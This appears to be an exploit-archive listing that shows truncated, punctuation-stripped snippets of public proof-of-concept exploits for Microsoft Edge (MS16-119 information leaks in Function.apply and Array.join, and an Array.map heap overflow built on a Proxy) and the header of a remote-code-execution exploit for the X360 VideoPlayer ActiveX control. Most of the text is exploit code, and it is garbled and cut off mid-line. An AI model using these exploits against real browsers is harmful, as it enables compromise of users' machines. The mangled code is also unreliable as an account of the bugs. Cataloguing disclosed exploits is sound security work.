Microsoft Edge - Function.apply Information Leak (MS16-119)

Microsoft Edge - Function.apply Information Leak MS16-119 var t = new Array1,2,3; function f var h = ; var a = ...arguments foritem in a var n = new Numberaitem; if n 0 n = n + 0x100000000; h.pushn.toString16; alerth; var q = f; t.length = 20; var o =...

Microsoft Edge - 'Array.join' Infomation Leak (MS16-119)

var y = 0; var t = new Array1,2,3; t.length = 100; var o = ; Object.definePropertyo, '3', get: function alert'get!'; t0 = ; var j = ; forvar i = 0; i 100; i++ ti = a : i;...

Microsoft Edge - 'Function.apply' Information Leak (MS16-119)

var t = new Array1,2,3; function f var h = ; var a = ...arguments foritem in a var n = new Numberaitem; if n 0 n = n + 0x100000000; h.pushn.toString16; alerth; var q = f; t.length = 20;...

Microsoft Edge - 'Array.map' Heap Overflow (MS16-119)

var b = new Array1,2,3; var d = new Array1,2,3; class dummy constructor alert"in constructor"; return d; var handler = get: functiontarget, name ifname == "length" return 0x100; return Symbol.species : dummy; , has: functiontarget, name alert"has " + name; return true; ; var p = new Proxy, handle...

X360 VideoPlayer ActiveX Control 2.6 - Full ASLR & DEP Bypass Exploit

Exploit for windows platform in category remote exploits !-- Exploit Title: X360 VideoPlayer ActiveX Control RCE Full ASLR & DEP Bypass Author: Rh0 Date: Jan 30 2015 Affected Software: X360 VideoPlayer ActiveX Control 2.6 VideoPlayer.ocx Vulnerability: Buffer Overflow in Data Section Tested on:...